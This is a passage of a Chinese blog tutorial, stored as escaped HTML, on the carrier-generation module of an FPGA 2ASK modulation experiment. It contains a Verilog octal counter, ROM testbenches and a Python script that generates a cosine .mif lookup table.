class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch3 id=\"2-载波产生模块\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#2-%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97\" class=\"headerlink\" title=\"2. 载波产生模块\"\u003e\u003c/a\u003e2. 载波产生模块\u003c/h3\u003e\u003cp\u003e载波产生模块示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97.png\"/\u003e\u003cblockquote\u003e\u003cp\u003e载波产生模块示意图如上图所示,其中clock为载波采样时钟,q[2:0]为计数器输出,q[7:0]输出为载波信号。载波产生模块由一个计数器和一个ROM构成,其中ROM中存储着一个载波周期的样点值,则计数器的进制设置为一个载波周期包含的样点数。本实验中一个载波周期取八个样点,计数器设置为八进制计数器,ROM和计数器均可使用IP核实现。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e结合示意图可以知道,载波产生模块又分为两部分:\u003cstrong\u003e八进制计数器\u003c/strong\u003e和\u003cstrong\u003eROM\u003c/strong\u003e。分开来写。\u003c/p\u003e\u003ch4 id=\"1)-八进制计数器\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#1%EF%BC%89-%E5%85%AB%E8%BF%9B%E5%88%B6%E8%AE%A1%E6%95%B0%E5%99%A8\" class=\"headerlink\" title=\"1) 八进制计数器\"\u003e\u003c/a\u003e1) 八进制计数器\u003c/h4\u003e\u003cp\u003eq 的值每个时钟加1,从0加到7。\u003c/p\u003e\u003cp\u003e\u003ccode\u003elpm_counter0.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e lpm_counter0 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_counter0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003elpm_counter0 lpm_counter0_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eq\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%A1%E6%95%B0%E5%99%A8%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch4 id=\"2)ROM\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#2%EF%BC%89ROM\" class=\"headerlink\" title=\"2)ROM\"\u003e\u003c/a\u003e2)ROM\u003c/h4\u003e\u003cp\u003e使用 \u003cstrong\u003eIP核\u003c/strong\u003e ,照着野火的教程学了学。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV17z411i7er/?p=46\"\u003e46-第二十六讲-ROM-IP核的调用(一)_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经过大概分析,可以知道本实验使用 \u003cstrong\u003e单端口ROM\u003c/strong\u003e ,数据为 \u003cstrong\u003e8位宽\u003c/strong\u003e ,地址为 \u003cstrong\u003e3位宽\u003c/strong\u003e ,至少包含 \u003cstrong\u003e8个\u003c/strong\u003e 数据(采样了8个点),使用单时钟。\u003c/p\u003e\u003cp\u003e输出添加一个寄存器会延后两个周期输出。(原来延后一个,经过寄存器再延后一个。)\u003c/p\u003e\u003cp\u003e写操作是时钟的上升沿,读也是时钟的上升沿。\u003c/p\u003e\u003ch5 id=\"产生-mif-文件\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E4%BA%A7%E7%94%9F-mif-%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"产生 mif 文件\"\u003e\u003c/a\u003e产生 mif 文件\u003c/h5\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_44939178/article/details/112314742\"\u003ematlab生成.mif文件 产生正弦信号数据_橘子FPGA的博客-CSDN博客_matlab生成正弦信号\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本实验中一个载波周期取八个样点。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e本次使用 \u003ccode\u003epython\u003c/code\u003e 进行生成\u003cdel\u003e(就8个点手写也行\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e根据 \u003ccode\u003e.mif\u003c/code\u003e 文件的格式一句一句打印出来。\u003c/p\u003e\u003cp\u003e一个普通余弦信号周期为 $2\\pi$ ,取样8个点,就是 $cos(2{\\pi}\\times\\frac{x}{8})$ ;\u003c/p\u003e\u003cp\u003e数据位宽为8位,所表示的数据在0~255之间,所以需要将 $cos(2{\\pi}\\times\\frac{x-1}{8})$ 的幅值**-1~+1变化到0~255**。\u003c/p\u003e\u003cp\u003e具体做法是将 $cos(2{\\pi}\\times\\frac{x}{8})\\times128+128$ 。就是将原幅值变换至-128~+128,然后加上128,范围变为0~256。 \u003c/p\u003e\u003cp\u003e\u003ccode\u003epython\u003c/code\u003e 代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e mathpi \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e math\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epifilename \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sin_8x8.mif\u0026#34;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilename\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;w+\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eencoding\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;WIDTH=8;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;DEEPTH=8;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;ADDRESS_RADIX=UNS;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;DATA_RADIX=UNS;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;CONTENT BEGIN\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003emath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecos\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epi\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e x\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string-interpolation\"\u003e\u003cspan class=\"token string\"\u003ef\u0026#34;\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e:\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e\\n\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;END;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e效果(如果发现quartus报错就生成一个标准的mif文件然后把下面的复制进去替换:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-mif\" data-language=\"mif\"\u003e\u003ccode class=\"language-mif\"\u003eWIDTH=8;DEEPTH=8;ADDRESS_RADIX=UNS;DATA_RADIX=UNS;CONTENT BEGIN0:2551:2182:1283:374:05:376:1277:218END;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/sin.png\"/\u003e\u003ch5 id=\"生成IP核\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E7%94%9F%E6%88%90IP%E6%A0%B8\" class=\"headerlink\" title=\"生成IP核\"\u003e\u003c/a\u003e生成IP核\u003c/h5\u003e\u003cp\u003e注意深度选择的时候下拉没有8深度的选择,但是可以手动输入。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e)不过我在其他文件调用ip核的时候一直仿真失败emm,所以ip核就直接用了,等我找到问题再看看。\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"编写代码及仿真\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E7%BC%96%E5%86%99%E4%BB%A3%E7%A0%81%E5%8F%8A%E4%BB%BF%E7%9C%9F\" class=\"headerlink\" title=\"编写代码及仿真\"\u003e\u003c/a\u003e编写代码及仿真\u003c/h5\u003e\u003cp\u003e添加IP核,进行仿真。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_rom\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e address2\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e\u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003ecos_8x8cos_8x8_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eaddress \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e address2 \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclock \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e clk \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eq \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e q \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/cos%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch3 id=\"3-m序列产生模块\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#3-m%E5%BA%8F%E5%88%97%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97\" 